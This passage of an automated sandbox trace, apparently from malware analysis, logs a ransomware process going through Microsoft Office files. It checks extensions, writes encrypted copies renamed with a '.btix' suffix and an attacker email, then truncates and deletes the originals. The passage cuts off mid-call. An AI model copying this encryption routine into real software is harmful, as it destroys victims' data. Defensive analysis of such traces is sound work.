hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.800] SetEndOfFile (hFile=0x394) returned 1 [0049.801] CloseHandle (hObject=0x394) returned 1 [0049.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0049.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.802] lstrlenW (lpString=".doc") returned 4 [0049.802] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.802] lstrlenW (lpString=".docx") returned 5 [0049.802] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.802] lstrlenW (lpString=".pdf") returned 4 [0049.802] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.802] lstrlenW (lpString=".xls") returned 4 [0049.802] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.802] lstrlenW (lpString=".xlsx") returned 5 [0049.802] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.802] lstrlenW (lpString=".ppt") returned 4 [0049.802] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.802] lstrlenW (lpString=".zip") returned 4 [0049.802] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.802] lstrlenW (lpString=".rar") returned 4 [0049.802] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.802] lstrlenW (lpString=".bz2") returned 4 [0049.802] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.802] lstrlenW (lpString=".7z") returned 3 [0049.802] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.802] lstrlenW (lpString=".dbf") returned 4 [0049.802] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.803] lstrlenW (lpString=".1cd") returned 4 [0049.803] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.803] lstrlenW (lpString=".jpg") returned 4 [0049.803] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.803] lstrlenW (lpString=".doc") returned 4 [0049.803] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString=".docx") returned 5 [0049.803] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.803] lstrlenW (lpString=".pdf") returned 4 [0049.803] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString=".xls") returned 4 [0049.803] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString=".xlsx") returned 5 [0049.803] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.803] lstrlenW (lpString=".ppt") returned 4 [0049.803] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.803] lstrlenW (lpString=".zip") returned 4 [0049.803] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.803] lstrlenW (lpString=".rar") returned 4 [0049.803] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString=".bz2") returned 4 [0049.803] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.803] lstrlenW (lpString=".7z") returned 3 [0049.803] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.803] lstrlenW (lpString=".dbf") returned 4 [0049.803] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.804] lstrlenW (lpString=".1cd") returned 4 [0049.804] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0049.804] lstrlenW (lpString=".jpg") returned 4 [0049.804] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.804] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.804] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0049.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.804] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=1261) returned 1 [0049.804] CloseHandle (hObject=0x394) returned 1 [0049.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0049.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.804] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.805] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.805] GetLastError () returned 0x0 [0049.805] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0049.919] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0049.920] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0049.920] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0049.920] SetEndOfFile (hFile=0x32c) returned 1 [0049.920] CloseHandle (hObject=0x32c) returned 1 [0049.924] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.924] SetEndOfFile (hFile=0x394) returned 1 [0049.925] CloseHandle (hObject=0x394) returned 1 [0049.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0049.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0049.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.926] lstrlenW (lpString=".doc") returned 4 [0049.926] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.926] lstrlenW (lpString=".docx") returned 5 [0049.926] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.926] lstrlenW (lpString=".pdf") returned 4 [0049.926] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.926] lstrlenW (lpString=".xls") returned 4 [0049.926] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.926] lstrlenW (lpString=".xlsx") returned 5 [0049.926] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.926] lstrlenW (lpString=".ppt") returned 4 [0049.926] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.926] lstrlenW (lpString=".zip") returned 4 [0049.926] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.926] lstrlenW (lpString=".rar") returned 4 [0049.926] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.926] lstrlenW (lpString=".bz2") returned 4 [0049.926] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.926] lstrlenW (lpString=".7z") returned 3 [0049.926] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.926] lstrlenW (lpString=".dbf") returned 4 [0049.926] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.926] lstrlenW (lpString=".1cd") returned 4 [0049.926] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.927] lstrlenW (lpString=".jpg") returned 4 [0049.927] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.927] lstrlenW (lpString=".doc") returned 4 [0049.927] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString=".docx") returned 5 [0049.927] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0049.927] lstrlenW (lpString=".pdf") returned 4 [0049.927] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString=".xls") returned 4 [0049.927] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString=".xlsx") returned 5 [0049.927] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0049.927] lstrlenW (lpString=".ppt") returned 4 [0049.927] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.927] lstrlenW (lpString=".zip") returned 4 [0049.927] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0049.927] lstrlenW (lpString=".rar") returned 4 [0049.927] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString=".bz2") returned 4 [0049.927] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0049.927] lstrlenW (lpString=".7z") returned 3 [0049.927] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0049.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.928] lstrlenW (lpString=".dbf") returned 4 [0049.928] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0049.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.928] lstrlenW (lpString=".1cd") returned 4 [0049.928] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0049.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0049.928] lstrlenW (lpString=".jpg") returned 4 [0049.928] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0049.928] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0049.928] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53 [0049.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.928] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=399528) returned 1 [0049.928] CloseHandle (hObject=0x394) returned 1 [0049.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0049.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0049.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0049.929] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.929] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0049.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0049.929] GetLastError () returned 0x0 [0049.929] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x618a8, lpOverlapped=0x0) returned 1 [0050.065] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x618b0, lpOverlapped=0x0) returned 1 [0050.071] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0050.071] WriteFile (in: hFile=0x32c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x13e, lpOverlapped=0x0) returned 1 [0050.071] SetEndOfFile (hFile=0x32c) returned 1 [0050.071] CloseHandle (hObject=0x32c) returned 1 [0050.688] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.689] SetEndOfFile (hFile=0x394) returned 1 [0050.692] CloseHandle (hObject=0x394) returned 1 [0050.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0050.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1 [0050.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString=".doc") returned 4 [0050.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString=".docx") returned 5 [0050.693] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.693] lstrlenW (lpString=".pdf") returned 4 [0050.693] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString=".xls") returned 4 [0050.693] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString=".xlsx") returned 5 [0050.693] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.693] lstrlenW (lpString=".ppt") returned 4 [0050.693] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString=".zip") returned 4 [0050.693] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.693] lstrlenW (lpString=".rar") returned 4 [0050.693] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString=".bz2") returned 4 [0050.693] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString=".7z") returned 3 [0050.693] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString=".dbf") returned 4 [0050.693] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString=".1cd") returned 4 [0050.693] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString=".jpg") returned 4 [0050.693] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.693] lstrlenW (lpString=".doc") returned 4 [0050.693] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString=".docx") returned 5 [0050.694] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0050.694] lstrlenW (lpString=".pdf") returned 4 [0050.694] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString=".xls") returned 4 [0050.694] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString=".xlsx") returned 5 [0050.694] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0050.694] lstrlenW (lpString=".ppt") returned 4 [0050.694] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.694] lstrlenW (lpString=".zip") returned 4 [0050.694] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0050.694] lstrlenW (lpString=".rar") returned 4 [0050.694] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString=".bz2") returned 4 [0050.694] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString=".7z") returned 3 [0050.694] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.694] lstrlenW (lpString=".dbf") returned 4 [0050.694] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.694] lstrlenW (lpString=".1cd") returned 4 [0050.694] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104 [0050.694] lstrlenW (lpString=".jpg") returned 4 [0050.694] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0050.694] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0050.694] lstrlenW (lpString="AG00040_.GIF") returned 12 [0050.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0050.695] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=8097) returned 1 [0050.695] CloseHandle (hObject=0x394) returned 1 [0050.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0050.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0050.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0050.695] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.695] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0050.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0050.695] GetLastError () returned 0x0 [0050.696] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1fa1, 